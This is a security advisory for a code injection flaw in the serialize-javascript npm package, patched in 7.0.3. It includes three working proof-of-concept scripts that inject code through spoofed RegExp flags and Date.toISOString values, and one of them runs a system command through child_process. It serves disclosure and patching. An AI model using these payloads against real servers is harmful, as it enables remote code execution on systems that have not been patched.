GHSA-5c6j-r48x-rmvq: Code Injection
Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().
If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.
javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODEINJECTIONVIAFLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODEINJECTIONVIAFLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODEINJECTIONVIAFLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString()
javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATEPWNED="DATEINJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATEPWNED="DATEINJECTION")+"")} eval('obj = ' + output); console.log(global.DATEPWNED); // "DATEINJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution
javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("childprocess").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("childprocess").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command
Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
Affected Software
Event History
Frequently Asked Questions
What is the severity of GHSA-5c6j-r48x-rmvq?
The severity of GHSA-5c6j-r48x-rmvq is critical due to the code injection vulnerability.
How do I fix GHSA-5c6j-r48x-rmvq?
To fix GHSA-5c6j-r48x-rmvq, update the serialize-javascript package to version 7.0.3 or later.
Which versions of serialize-javascript are affected by GHSA-5c6j-r48x-rmvq?
Versions of serialize-javascript that are affected by GHSA-5c6j-r48x-rmvq are those up to and including 7.0.2.
What type of vulnerability is GHSA-5c6j-r48x-rmvq?
GHSA-5c6j-r48x-rmvq is a code injection vulnerability that allows for unsanitized execution of code.
Is there a known fix for GHSA-5c6j-r48x-rmvq?
Yes, the fix for GHSA-5c6j-r48x-rmvq is provided in version 7.0.3 of the serialize-javascript package.